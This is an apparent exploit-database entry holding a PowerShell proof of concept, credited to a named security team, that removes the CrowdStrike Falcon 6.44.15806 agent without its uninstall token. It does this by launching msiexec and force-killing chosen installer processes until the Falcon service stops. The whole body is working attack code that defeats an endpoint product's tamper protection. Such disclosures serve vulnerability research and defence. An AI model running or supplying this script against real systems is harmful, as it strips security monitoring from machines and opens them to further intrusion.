CrowdStrike Falcon Agent 6.44.15806 Uninstall Issue

# Exploit Title: CrowdStrike Falcon AGENT  6.44.15806  - Uninstall without Installation Token # Date: 30/11/2022 # Exploit Author: Walter Oberacher, Raffaele Nacca, Davide Bianchin, Fortunato Lodari, Luca Bernardi (Deda Cloud Cybersecurity Team) # Vendor Homepage: https://www.crowdstrike.com/ # Author Homepage: https://www.deda.cloud/ # Tested On: All Windows versions # Version: 6.44.15806 # CVE: Based on CVE-2022-2841; Modified by Deda Cloud Purple Team members, to exploit hotfixed release. Pubblication of of CVE-2022-44721 in progress. $InstalledSoftware = Get-ChildItem "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall"foreach($obj in $InstalledSoftware){    if ("CrowdStrike Sensor Platform" -eq $obj.GetValue('DisplayName'))    {        $uninstall_uuid = $obj.Name.Split("\")[6]    }}$g_msiexec_instances = New-Object System.Collections.ArrayListWrite-Host "[+] Identified installed Falcon: $uninstall_uuid"Write-Host "[+] Running uninstaller for Crowdstrike Falcon . . ."Start-Process "msiexec" -ArgumentList "/X$uninstall_uuid"while($true){  if (get-process -Name "CSFalconService") {    Get-Process | Where-Object { $_.Name -eq "msiexec" } | ForEach-Object {            if (-Not $g_msiexec_instances.contains($_.id)){        $g_msiexec_instances.Add($_.id)        if (4 -eq $g_msiexec_instances.count -or 5 -eq $g_msiexec_instances.count){          Start-Sleep -Milliseconds 100          Write-Host "[+] Killing PID " + $g_msiexec_instances[-1]          stop-process -Force -Id $g_msiexec_instances[-1]                }      }        }  } else {     Write-Host "[+] CSFalconService process vanished...reboot and have fun!"    break  }}